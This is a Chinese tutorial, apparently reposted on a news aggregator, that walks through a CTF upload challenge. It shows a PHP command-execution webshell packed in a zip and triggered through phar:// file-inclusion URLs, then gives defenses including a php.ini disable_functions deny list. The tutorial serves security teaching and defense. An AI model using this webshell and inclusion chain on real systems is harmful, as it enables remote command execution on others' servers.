当前位置: 首页 > news >正文

从CTF赛题到实战:利用phar伪协议绕过上传限制的攻防演练

1. 从CTF赛题看phar伪协议的威力

第一次看到NISACTF 2022这道"bingdundun~"题目时,我就被它精妙的设计吸引了。题目界面很简单 - 一个文件上传功能,限制只能上传图片或压缩包。但仔细观察URL,会发现一个有趣的GET参数。这个看似普通的文件上传点,实际上暗藏杀机。

我在本地搭建了类似环境进行测试。当我尝试上传一个普通图片时,系统正常接收;但当我上传一个包含恶意代码的PHP文件时,立即被拦截。这时候phar伪协议就派上用场了。phar(PHP Archive)是PHP中类似Java的jar包的一种打包格式,它允许我们将PHP代码打包成一个归档文件。

关键点在于,phar伪协议不仅能读取.phar文件,还能读取.zip压缩包。这意味着攻击者可以:

  • 创建一个包含恶意代码的PHP文件
  • 将其压缩成.zip格式
  • 上传这个"无害"的压缩包
  • 通过phar://协议触发其中的恶意代码

2. phar伪协议的工作原理深度解析

2.1 phar文件结构剖析

phar文件由四个主要部分组成,理解这些结构对后续攻击至关重要:

  1. Stub:相当于phar的文件头,必须包含__HALT_COMPILER();语句。有趣的是,这个部分可以包含任意内容,包括图片的二进制数据。这就是为什么我们可以制作一个既是合法图片又是phar文件的"双重身份"文件。

  2. Manifest:描述文件内容的元数据,采用序列化格式存储。这部分在phar反序列化攻击中扮演关键角色,虽然当前场景用不到这个特性。

  3. File Contents:实际的文件内容,我们可以在这里藏入恶意代码。

  4. Signature(可选):文件的数字签名,用于验证完整性。

2.2 为什么zip文件也能被利用

很多人不知道的是,phar://不仅能处理.phar文件,还能处理.zip压缩包。这是因为PHP内部对这两种格式的支持机制类似。我做过测试,在PHP 5.3及以上版本中,以下操作都是可行的:

// 读取phar文件 include 'phar://malicious.phar/evil.php'; // 读取zip文件 include 'phar://malicious.zip/evil.php';

这种特性给了攻击者很大便利,因为.zip是更常见的文件格式,很多系统都允许上传。

3. 实战演练:从零开始构建攻击链

3.1 制作恶意压缩包

让我们一步步构建攻击载荷。首先创建一个包含恶意代码的PHP文件:

<?php // evil.php system($_GET['cmd']); ?>

然后使用zip命令打包(注意要用zip格式,rar不行):

zip evil.zip evil.php

现在我们就有了一个看似无害的压缩包,实际上内含恶意代码。

3.2 绕过上传限制

回到题目场景,系统限制只能上传图片或压缩包。我们的evil.zip完美符合要求。上传后,系统通常会返回文件存储路径,比如:

/uploads/evil.zip

3.3 触发文件包含漏洞

观察题目URL,发现有一个GET参数可能用于文件包含:

http://example.com/?bingdundun=index

测试发现它会自动添加.php后缀,于是我们构造:

http://example.com/?bingdundun=phar://uploads/evil.zip/evil

这样系统会解析为:

phar://uploads/evil.zip/evil.php

成功触发我们的恶意代码!现在可以执行任意命令:

http://example.com/?bingdundun=phar://uploads/evil.zip/evil&cmd=whoami

4. 防御之道:如何防护phar伪协议攻击

4.1 输入验证策略

防御这类攻击需要多层防护:

  1. 文件内容检查:不要仅依赖文件扩展名,应该检查实际内容。使用finfo_file()函数检测真实MIME类型。
$finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); $allowed = ['image/jpeg', 'application/zip']; if (!in_array($mime, $allowed)) { die('Invalid file type'); }
  1. 重命名上传文件:不要保留用户上传的文件名,使用随机生成的名字并强制指定安全扩展名。

4.2 限制文件包含功能

如果必须使用文件包含,应该:

  1. 白名单限制可包含的文件
  2. 禁止使用任何协议包装器(phar://, zip://等)
  3. 禁用危险函数:php.ini中设置disable_functions = exec,system,...
; php.ini allow_url_include = Off disable_functions = "exec,passthru,shell_exec,system,..."

5. 从CTF到真实世界的思考

在真实渗透测试中,我遇到过不少类似案例。有一次客户系统允许上传.zip简历,结果攻击者利用phar伪协议获取了服务器权限。修复方案除了上述措施,我们还建议:

  1. 定期更新PHP版本(新版本对phar有更多限制)
  2. 使用容器隔离上传目录
  3. 实施严格的权限控制

CTF题目往往简化了真实场景,但核心原理相通。理解phar伪协议的攻击方式,不仅能帮助安全人员发现漏洞,也能让开发者构建更安全的系统。

http://www.jsqmd.com/news/636423/

相关文章:

  • CSS如何保证移动端顶部Fixed头部的安全区域
  • 打通智能体孤岛:用 AgentRun 构建生产级 AA 多 Agent 管理协作系统僦
  • 别再迷信仿真!实测STM32的3.3V PWM也能驱动IR2104(附完整代码与波形分析)
  • PubTest_1775973795700
  • 大学思政课高分通关秘籍:我用思维导图搞定马原期末考试(附全套复习资料)
  • 大模型平台选型指南:从Xinference的分布式架构到Ollama的轻量哲学
  • RK3576摄像头MIPI-CSI拆分与DTS解析
  • 二维核密度估计图 (KDE Plot) 实战:用 Seaborn 解锁双变量数据分布的深层洞察
  • 告别手动配置烦恼:OpCore-Simplify智能黑苹果配置助手终极指南
  • **反编译防护新思路:基于混淆+加密的C++程序加固实战**在软件安全领域,**反编译防护**始终是开发者绕不开
  • SpaceClaim旋风分离器建模实战:从粗到细的精准设计
  • 从赛季数据到模板图库:深入解析 tft_fetch_assets.py和TFT 截图识别的资源构建链路
  • 猫抓浏览器扩展:3分钟掌握网页视频音频资源一键下载完整指南
  • 低成本DIY家庭监控:基于ESP32-CAM和OV2640的无线视频流方案实战
  • 在jupyter里面画图,并且显示中文字体
  • 别再弯腰插拔了!用闲置MicroUSB线和CH340N芯片,5分钟自制桌面TTL调试神器
  • 提示词工程(Prompt Engineering)-周红伟
  • 大数据分析与挖掘实战平台 实训报告
  • Harness Engineering(驾驭工程)-2026年最强的智能体-周红伟
  • 基于llama.cpp部署私有大模型
  • 民办本科自动化,大三下,蓝桥杯刚考砸,会的不多,想学嵌入式还来得及找到工作吗?求前辈真实建议,骂醒我也行
  • **发散创新:基于LLM的智能代码助手在Python开发中的实战落地**在现代软件工程
  • GD32F103C8T6驱动W25Q32 SPI Flash保姆级教程(含源码与接线图)
  • 《OpenNAS - 从零开始写一个开源NAS系统》04 - ZFS存储池的管理
  • 2026企业AI Agent落地秘籍:少走3年弯路,抢占数字化风口!
  • 别再死记硬背C#语法了!用5个机器视觉小例子带你快速上手(Visual Studio 2022版)
  • 【R语言实战】批量单因素Logistic回归:从数据清洗到变量初筛的自动化流程
  • 手把手教你用GPT-oss:20b:CSDN平台图文教程,小白也能快速部署
  • 信息学奥赛实战解析:N进制回文数的高精度运算与优化策略
  • vivado hls的应用(题外话之AI编程)